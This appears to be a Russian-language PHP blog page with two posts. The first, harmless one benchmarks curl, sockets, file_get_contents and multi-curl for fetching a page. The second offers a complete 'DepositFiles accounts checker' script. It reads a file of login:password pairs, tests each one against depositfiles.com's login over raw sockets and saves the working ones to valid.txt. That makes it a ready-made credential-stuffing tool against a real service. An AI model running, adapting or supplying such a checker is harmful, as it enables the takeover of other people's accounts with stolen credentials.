Posts Tagged ‘ sockets

Curl vs sockets vs file_get_contents vs multiCurl

Давайте же проведем небольшое сравнение в скорости.

1) Curl

< ?
function curl($url)
{
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec ($ch);
curl_close($ch);
return $result;
}

2) Sockets

function sockets($host) {
$fp = fsockopen("www.".$host, 80, $errno, $errstr, 30);
  $out = "GET / HTTP/1.1\r\n";
  $out .= "Host: www.".$host."\r\n";
  $out .= "Connection: Close\r\n\r\n";
  fwrite($fp, $out);
  $f='';
  while (!feof($fp)) {
    $f .= fgets($fp, 1024);
  }
return $f;
}

3) file_get_contents

function fgc($url){
return file_get_contents($url);
}

4) MultiCurl

function multiRequest($data,$nobody=false,$options = array(), $oneoptions = array())
{
	$curls = array();
	$result = array();
	$mh = curl_multi_init();
	foreach ($data as $id => $d)
	{
		$curls[$id] = curl_init();
		$url = (is_array($d) && !empty($d['url'])) ? $d['url'] : $d;
		curl_setopt($curls[$id], CURLOPT_URL,            $url);
		curl_setopt($curls[$id], CURLOPT_HEADER,         0);
		curl_setopt($curls[$id], CURLOPT_RETURNTRANSFER, true);
		curl_setopt($curls[$id], CURLOPT_FOLLOWLOCATION,1);
		curl_setopt($curls[$id], CURLOPT_USERAGENT,"Mozilla/5.0(Windows;U;WindowsNT5.1;ru;rv:1.9.0.4)Gecko/2008102920AdCentriaIM/1.7Firefox/3.0.4");
		//curl_setopt($curls[$id], CURLOPT_COOKIEJAR,'cookies.txt');
		//curl_setopt($curls[$id], CURLOPT_COOKIEFILE,'cookies.txt');
		//curl_setopt($curls[$id], CURLOPT_NOBODY, $nobody);

		if (!empty($options))
		{
			curl_setopt_array($curls[$id], $options);
		}
		if (!empty($oneoptions[$id]))
		{
			curl_setopt_array($curls[$id], $oneoptions[$id]);
		}
		if (is_array($d))
		{
			if (!empty($d['post']))
			{

				curl_setopt($curls[$id], CURLOPT_POST,       1);
				curl_setopt($curls[$id], CURLOPT_POSTFIELDS, $d['post']);
			}
		}
		curl_multi_add_handle($mh, $curls[$id]);
	}
	$running = null;
	do
	{
		curl_multi_exec($mh, $running);
	}
	while($running > 0);
	foreach($curls as $id => $content)
	{
		$result[$id] = curl_multi_getcontent($content);
		//echo curl_multi_getcontent($content);
		curl_multi_remove_handle($mh, $content);
	}
	curl_multi_close($mh);
	return $result;
}

В качестве теста получим страницу «http://google.de» сто раз.

$url = 'google.de';
$start = microtime(1);
for($i=0;$i<100;$i++)
curl($url);
$end = microtime(1);
echo "Curl:".($end-$start)."\n";

$start = microtime(1);
for($i=0;$i<100;$i++)
fgc("http://$url/");
$end = microtime(1);
echo "file_get_contents:".($end-$start)."\n";

$start = microtime(1);
for($i=0;$i<100;$i++)
sockets($url);
$end = microtime(1);
echo "Sockets:".($end-$start)."\n";

$start = microtime(1);
for($i=0;$i<100;$i++)
$arr[]=$url;
multiRequest($arr);
$end = microtime(1);
echo "MultiCurl:".($end-$start)."\n";
?>

Результаты:

Curl: 5.39667105675
file_get_contents: 7.99799394608
Sockets: 2.99629592896
MultiCurl: 0.736907958984

Как видим, лидирует мультикурл, беспощадно оставляя своих соперником далеко позади. Применять multicurl стоит лишь тогда, когда имеется объемное количество url‘ов.
Иначе, если список «страниц», которые необходимо «посетить» небольшой(2,3,5,10), самый рациональный вариант – использовать сокеты, но..кому как, мне например, несмотря на то, что т socket‘ы выигрывают у curl‘а, удобнее использовать его, т.к нет проблем с заголовками(headers) и прочим.

Что выбрать? Решать только вам.

DepositFiles accounts checker

Думаю объяснять что это такое нет смысла, т.к все понятно по заголовку :]
Работает на сокетах.

<?php
#################################
# DepositFiles Accounts Checker
# by #Wolf#
# http://wolf-et.ru/
# License: gnu gpl v3
#################################
set_time_limit(0);
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"; # User Agent
$acclist="accounts.txt"; #Файл с аккаунтами вида логин:пароль
$vallist="valid.txt"; #куда будем писать валидные аккаунты
$account=file($acclist); #Помещаем аккаунты в массив
$valid=$invalid=0;
function Check($login,$pass) {
 $fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); #открываем сокет
 $out = "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n";   # Отправляем заголовки
 $out .= "Host: depositfiles.com\r\n";
 $out .= "Keep-Alive: 300\r\n";
 $out .= "Connection: keep-alive\r\n";
 $out .= "User-Agent: ".$user_agent."\r\n";
 $out .= "Cookie: income=1\r\n";
 $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
 fwrite($fp,$out);
 $ans = '';
 while (!feof($fp)) {
        $ans .= fgets($fp, 128);  # ответ сервера
    }
 fclose($fp);  # Закрываем сокеты
 return strpos($ans,"autologin=") ? true : false; # Проверяем
}
echo '<h3>Валидные логины:пароли</h3>';
for($i=0;$i<count($account);$i++) {  #цикл
 list($login,$pass) = explode(":",trim($account[$i]));  # разбиваем аккаунты на логин и пароль
    if (Check($login,$pass)) {  # Вызываем функцию проверки аккаунта
    echo $login.':'.$pass.'<br />';
    flush();
    ob_flush();
    $fd = fopen($vallist,'a+'); # открываем файл
    fputs($fd,$account[$i]); # записываем  в файл  рабочий акк
    fclose($fd);  # закрываем файл
    ++$valid;
    }else ++$invalid;
}
echo "<br><h3>Итого</h3>Рабочих  аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid."";
?>